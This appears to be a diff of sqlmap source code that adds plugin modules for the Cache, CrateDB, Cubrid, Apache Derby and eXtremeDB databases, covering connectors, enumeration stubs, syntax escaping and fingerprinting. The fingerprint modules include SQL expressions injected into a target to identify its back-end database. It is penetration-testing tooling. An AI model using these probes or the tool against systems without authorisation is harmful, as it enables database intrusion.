value += "\n%sfork fingerprint: %s" % (blank, fork)
return value
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(CACHE_ALIASES):
setDbms(DBMS.CACHE)
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.CACHE
logger.info(infoMsg)
result = inject.checkBooleanExpression("$LISTLENGTH(NULL) IS NULL")
if result:
infoMsg = "confirming %s" % DBMS.CACHE
logger.info(infoMsg)
result = inject.checkBooleanExpression("%EXTERNAL %INTERNAL NULL IS NULL")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE
logger.warn(warnMsg)
return False
setDbms(DBMS.CACHE)
self.getBanner()
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.CACHE
logger.warn(warnMsg)
return False
+23
View File
@@ -0,0 +1,23 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
@staticmethod
def escape(expression, quote=True):
"""
>>> from lib.core.common import Backend
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHAR(97)||CHAR(98)||CHAR(99)||CHAR(100)||CHAR(101)||CHAR(102)||CHAR(103)||CHAR(104) FROM foobar"
True
"""
def escaper(value):
return "||".join("CHAR(%d)" % _ for _ in getOrds(value))
return Syntax._escape(expression, quote, escaper)
+28
View File
@@ -0,0 +1,28 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
errMsg = "on Cache it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osShell(self):
errMsg = "on Cache it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osPwn(self):
errMsg = "on Cache it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
def osSmb(self):
errMsg = "on Cache it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+30
View File
@@ -0,0 +1,30 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import DBMS
from lib.core.settings import CRATEDB_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.cratedb.enumeration import Enumeration
from plugins.dbms.cratedb.filesystem import Filesystem
from plugins.dbms.cratedb.fingerprint import Fingerprint
from plugins.dbms.cratedb.syntax import Syntax
from plugins.dbms.cratedb.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class CrateDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines CrateDB methods
"""
def __init__(self):
self.excludeDbsList = CRATEDB_SYSTEM_DBS
for cls in self.__class__.__bases__:
cls.__init__(self)
unescaper[DBMS.CRATEDB] = Syntax.escape
+73
View File
@@ -0,0 +1,73 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
try:
import psycopg2
import psycopg2.extensions
psycopg2.extensions.register_type(psycopg2.extensions.UNICODE)
psycopg2.extensions.register_type(psycopg2.extensions.UNICODEARRAY)
except:
pass
from lib.core.common import getSafeExString
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
"""
Homepage: http://initd.org/psycopg/
User guide: http://initd.org/psycopg/docs/
API: http://initd.org/psycopg/docs/genindex.html
Debian package: python-psycopg2
License: GPL
Possible connectors: http://wiki.python.org/moin/PostgreSQL
"""
def connect(self):
self.initConnection()
try:
self.connector = psycopg2.connect(host=self.hostname, user=self.user, password=self.password, database=self.db, port=self.port)
except psycopg2.OperationalError as ex:
raise SqlmapConnectionException(getSafeExString(ex))
self.connector.set_client_encoding('UNICODE')
self.initCursor()
self.printConnected()
def fetchall(self):
try:
return self.cursor.fetchall()
except psycopg2.ProgrammingError as ex:
logger.warn(getSafeExString(ex))
return None
def execute(self, query):
retVal = False
try:
self.cursor.execute(query)
retVal = True
except (psycopg2.OperationalError, psycopg2.ProgrammingError) as ex:
logger.warn(("(remote) '%s'" % getSafeExString(ex)).strip())
except psycopg2.InternalError as ex:
raise SqlmapConnectionException(getSafeExString(ex))
self.connector.commit()
return retVal
def select(self, query):
retVal = None
if self.execute(query):
retVal = self.fetchall()
return retVal
+22
View File
@@ -0,0 +1,22 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.data import logger
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getPasswordHashes(self):
warnMsg = "on CrateDB it is not possible to enumerate the user password hashes"
logger.warn(warnMsg)
return {}
def getRoles(self, *args, **kwargs):
warnMsg = "on CrateDB it is not possible to enumerate the user roles"
logger.warn(warnMsg)
return {}
+11
View File
@@ -0,0 +1,11 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
pass
+94
View File
@@ -0,0 +1,94 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import CRATEDB_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self, DBMS.CRATEDB)
def getFingerprint(self):
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.CRATEDB
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(CRATEDB_ALIASES):
setDbms(DBMS.CRATEDB)
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.CRATEDB
logger.info(infoMsg)
result = inject.checkBooleanExpression("IGNORE3VL(NULL IS NULL)")
if result:
infoMsg = "confirming %s" % DBMS.CRATEDB
logger.info(infoMsg)
result = inject.checkBooleanExpression("1~1")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB
logger.warn(warnMsg)
return False
setDbms(DBMS.CRATEDB)
self.getBanner()
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.CRATEDB
logger.warn(warnMsg)
return False
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
@staticmethod
def escape(expression, quote=True):
"""
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
True
"""
return expression
+28
View File
@@ -0,0 +1,28 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
errMsg = "on CrateDB it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osShell(self):
errMsg = "on CrateDB it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osPwn(self):
errMsg = "on CrateDB it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
def osSmb(self):
errMsg = "on CrateDB it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+30
View File
@@ -0,0 +1,30 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import DBMS
from lib.core.settings import CUBRID_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.cubrid.enumeration import Enumeration
from plugins.dbms.cubrid.filesystem import Filesystem
from plugins.dbms.cubrid.fingerprint import Fingerprint
from plugins.dbms.cubrid.syntax import Syntax
from plugins.dbms.cubrid.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Cubrid methods
"""
def __init__(self):
self.excludeDbsList = CUBRID_SYSTEM_DBS
for cls in self.__class__.__bases__:
cls.__init__(self)
unescaper[DBMS.CUBRID] = Syntax.escape
+59
View File
@@ -0,0 +1,59 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
try:
import CUBRIDdb
except:
pass
import logging
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
"""
Homepage: https://github.com/CUBRID/cubrid-python
User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md
API: https://www.python.org/dev/peps/pep-0249/
License: BSD License
"""
def connect(self):
self.initConnection()
try:
self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout)
except CUBRIDdb.DatabaseError as ex:
raise SqlmapConnectionException(getSafeExString(ex))
self.initCursor()
self.printConnected()
def fetchall(self):
try:
return self.cursor.fetchall()
except CUBRIDdb.DatabaseError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
return None
def execute(self, query):
try:
self.cursor.execute(query)
except CUBRIDdb.DatabaseError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
except CUBRIDdb.Error as ex:
raise SqlmapConnectionException(getSafeExString(ex))
self.connector.commit()
def select(self, query):
self.execute(query)
return self.fetchall()
+32
View File
@@ -0,0 +1,32 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.data import logger
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getPasswordHashes(self):
warnMsg = "on Cubrid it is not possible to enumerate password hashes"
logger.warn(warnMsg)
return {}
def getStatements(self):
warnMsg = "on Cubrid it is not possible to enumerate the SQL statements"
logger.warn(warnMsg)
return []
def getRoles(self, *args, **kwargs):
warnMsg = "on Cubrid it is not possible to enumerate the user roles"
logger.warn(warnMsg)
return {}
def getHostname(self):
warnMsg = "on Cubrid it is not possible to enumerate the hostname"
logger.warn(warnMsg)
+11
View File
@@ -0,0 +1,11 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
pass
+94
View File
@@ -0,0 +1,94 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import CUBRID_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self, DBMS.CUBRID)
def getFingerprint(self):
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.CUBRID
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES):
setDbms(DBMS.CUBRID)
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.CUBRID
logger.info(infoMsg)
result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))")
if result:
infoMsg = "confirming %s" % DBMS.CUBRID
logger.info(infoMsg)
result = inject.checkBooleanExpression("DRAND()<2")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID
logger.warn(warnMsg)
return False
setDbms(DBMS.CUBRID)
self.getBanner()
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID
logger.warn(warnMsg)
return False
+23
View File
@@ -0,0 +1,23 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.convert import getOrds
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
@staticmethod
def escape(expression, quote=True):
"""
>>> from lib.core.common import Backend
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar"
True
"""
def escaper(value):
return "||".join("CHR(%d)" % _ for _ in getOrds(value))
return Syntax._escape(expression, quote, escaper)
+28
View File
@@ -0,0 +1,28 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
errMsg = "on Cubrid it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osShell(self):
errMsg = "on Cubrid it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osPwn(self):
errMsg = "on Cubrid it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
def osSmb(self):
errMsg = "on Cubrid it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+2 -2
View File
@@ -10,13 +10,13 @@ from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getPasswordHashes(self):
warnMsg = "on DB2 it is not possible to list password hashes"
warnMsg = "on IBM DB2 it is not possible to enumerate password hashes"
logger.warn(warnMsg)
return {}
def getStatements(self):
warnMsg = "on DB2 it is not possible to enumerate the SQL statements"
warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements"
logger.warn(warnMsg)
return []
+30
View File
@@ -0,0 +1,30 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import DBMS
from lib.core.settings import DERBY_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.derby.enumeration import Enumeration
from plugins.dbms.derby.filesystem import Filesystem
from plugins.dbms.derby.fingerprint import Fingerprint
from plugins.dbms.derby.syntax import Syntax
from plugins.dbms.derby.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines Apache Derby methods
"""
def __init__(self):
self.excludeDbsList = DERBY_SYSTEM_DBS
for cls in self.__class__.__bases__:
cls.__init__(self)
unescaper[DBMS.DERBY] = Syntax.escape
+62
View File
@@ -0,0 +1,62 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
try:
import drda
except:
pass
import logging
from lib.core.common import getSafeExString
from lib.core.data import conf
from lib.core.data import logger
from lib.core.exception import SqlmapConnectionException
from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
"""
Homepage: https://github.com/nakagami/pydrda/
User guide: https://github.com/nakagami/pydrda/blob/master/README.rst
API: https://www.python.org/dev/peps/pep-0249/
License: MIT
"""
def connect(self):
self.initConnection()
try:
self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port)
except drda.OperationalError as ex:
raise SqlmapConnectionException(getSafeExString(ex))
self.initCursor()
self.printConnected()
def fetchall(self):
try:
return self.cursor.fetchall()
except drda.ProgrammingError as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
return None
def execute(self, query):
try:
self.cursor.execute(query)
except (drda.OperationalError, drda.ProgrammingError) as ex:
logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex))
except drda.InternalError as ex:
raise SqlmapConnectionException(getSafeExString(ex))
try:
self.connector.commit()
except drda.OperationalError:
pass
def select(self, query):
self.execute(query)
return self.fetchall()
+43
View File
@@ -0,0 +1,43 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import singleTimeWarnMessage
from lib.core.data import logger
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getPasswordHashes(self):
warnMsg = "on Apache Derby it is not possible to enumerate password hashes"
logger.warn(warnMsg)
return {}
def getStatements(self):
warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements"
logger.warn(warnMsg)
return []
def getPrivileges(self, *args, **kwargs):
warnMsg = "on Apache Derby it is not possible to enumerate the user privileges"
logger.warn(warnMsg)
return {}
def getRoles(self, *args, **kwargs):
warnMsg = "on Apache Derby it is not possible to enumerate the user roles"
logger.warn(warnMsg)
return {}
def getHostname(self):
warnMsg = "on Apache Derby it is not possible to enumerate the hostname"
logger.warn(warnMsg)
def getBanner(self):
warnMsg = "on Apache Derby it is not possible to enumerate the banner"
singleTimeWarnMessage(warnMsg)
+11
View File
@@ -0,0 +1,11 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
pass
+94
View File
@@ -0,0 +1,94 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import DERBY_ALIASES
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self, DBMS.DERBY)
def getFingerprint(self):
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.DERBY
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES):
setDbms(DBMS.DERBY)
self.getBanner()
return True
infoMsg = "testing %s" % DBMS.DERBY
logger.info(infoMsg)
result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})")
if result:
infoMsg = "confirming %s" % DBMS.DERBY
logger.info(infoMsg)
result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY
logger.warn(warnMsg)
return False
setDbms(DBMS.DERBY)
self.getBanner()
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY
logger.warn(warnMsg)
return False
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
@staticmethod
def escape(expression, quote=True):
"""
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
True
"""
return expression
+28
View File
@@ -0,0 +1,28 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover
class Takeover(GenericTakeover):
def osCmd(self):
errMsg = "on Apache Derby it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osShell(self):
errMsg = "on Apache Derby it is not possible to execute commands"
raise SqlmapUnsupportedFeatureException(errMsg)
def osPwn(self):
errMsg = "on Apache Derby it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
def osSmb(self):
errMsg = "on Apache Derby it is not possible to establish an "
errMsg += "out-of-band connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+29
View File
@@ -0,0 +1,29 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import DBMS
from lib.core.settings import EXTREMEDB_SYSTEM_DBS
from lib.core.unescaper import unescaper
from plugins.dbms.extremedb.enumeration import Enumeration
from plugins.dbms.extremedb.filesystem import Filesystem
from plugins.dbms.extremedb.fingerprint import Fingerprint
from plugins.dbms.extremedb.syntax import Syntax
from plugins.dbms.extremedb.takeover import Takeover
from plugins.generic.misc import Miscellaneous
class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
"""
This class defines eXtremeDB methods
"""
def __init__(self):
self.excludeDbsList = EXTREMEDB_SYSTEM_DBS
for cls in self.__class__.__bases__:
cls.__init__(self)
unescaper[DBMS.EXTREMEDB] = Syntax.escape
+15
View File
@@ -0,0 +1,15 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.connector import Connector as GenericConnector
class Connector(GenericConnector):
def connect(self):
errMsg = "on eXtremeDB it is not (currently) possible to establish a "
errMsg += "direct connection"
raise SqlmapUnsupportedFeatureException(errMsg)
+84
View File
@@ -0,0 +1,84 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.data import logger
from plugins.generic.enumeration import Enumeration as GenericEnumeration
class Enumeration(GenericEnumeration):
def getBanner(self):
warnMsg = "on eXtremeDB it is not possible to get the banner"
logger.warn(warnMsg)
return None
def getCurrentUser(self):
warnMsg = "on eXtremeDB it is not possible to enumerate the current user"
logger.warn(warnMsg)
def getCurrentDb(self):
warnMsg = "on eXtremeDB it is not possible to get name of the current database"
logger.warn(warnMsg)
def isDba(self, user=None):
warnMsg = "on eXtremeDB it is not possible to test if current user is DBA"
logger.warn(warnMsg)
def getUsers(self):
warnMsg = "on eXtremeDB it is not possible to enumerate the users"
logger.warn(warnMsg)
return []
def getPasswordHashes(self):
warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes"
logger.warn(warnMsg)
return {}
def getPrivileges(self, *args, **kwargs):
warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges"
logger.warn(warnMsg)
return {}
def getDbs(self):
warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')"
logger.warn(warnMsg)
return []
def searchDb(self):
warnMsg = "on eXtremeDB it is not possible to search databases"
logger.warn(warnMsg)
return []
def searchTable(self):
warnMsg = "on eXtremeDB it is not possible to search tables"
logger.warn(warnMsg)
return []
def searchColumn(self):
warnMsg = "on eXtremeDB it is not possible to search columns"
logger.warn(warnMsg)
return []
def search(self):
warnMsg = "on eXtremeDB search option is not available"
logger.warn(warnMsg)
def getHostname(self):
warnMsg = "on eXtremeDB it is not possible to enumerate the hostname"
logger.warn(warnMsg)
def getStatements(self):
warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements"
logger.warn(warnMsg)
return []
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem
class Filesystem(GenericFilesystem):
def readFile(self, remoteFile):
errMsg = "on eXtremeDB it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)
def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on eXtremeDB it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
+93
View File
@@ -0,0 +1,93 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.common import Backend
from lib.core.common import Format
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.enums import DBMS
from lib.core.session import setDbms
from lib.core.settings import EXTREMEDB_ALIASES
from lib.core.settings import METADB_SUFFIX
from lib.request import inject
from plugins.generic.fingerprint import Fingerprint as GenericFingerprint
class Fingerprint(GenericFingerprint):
def __init__(self):
GenericFingerprint.__init__(self, DBMS.EXTREMEDB)
def getFingerprint(self):
value = ""
wsOsFp = Format.getOs("web server", kb.headersFp)
if wsOsFp:
value += "%s\n" % wsOsFp
if kb.data.banner:
dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += DBMS.EXTREMEDB
return value
actVer = Format.getDbms()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp.get("dbmsVersion")
if banVer:
banVer = Format.getDbms([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
htmlErrorFp = Format.getErrorParsedDBMSes()
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
def checkDbms(self):
if not conf.extensiveFp and Backend.isDbmsWithin(EXTREMEDB_ALIASES):
setDbms(DBMS.EXTREMEDB)
return True
infoMsg = "testing %s" % DBMS.EXTREMEDB
logger.info(infoMsg)
result = inject.checkBooleanExpression("signature(NULL)=usignature(NULL)")
if result:
infoMsg = "confirming %s" % DBMS.EXTREMEDB
logger.info(infoMsg)
result = inject.checkBooleanExpression("hashcode(NULL)>=0")
if not result:
warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB
logger.warn(warnMsg)
return False
setDbms(DBMS.EXTREMEDB)
return True
else:
warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB
logger.warn(warnMsg)
return False
def forceDbmsEnum(self):
conf.db = ("%s%s" % (DBMS.EXTREMEDB, METADB_SUFFIX)).replace(' ', '_')
+18
View File
@@ -0,0 +1,18 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from plugins.generic.syntax import Syntax as GenericSyntax
class Syntax(GenericSyntax):
@staticmethod
def escape(expression, quote=True):
"""
>>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar"
True
"""
return expression
+28
View File
@@ -0,0 +1,28 @@
#!/usr/bin/env python
"""
Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.exception import SqlmapUnsupportedFeatureException
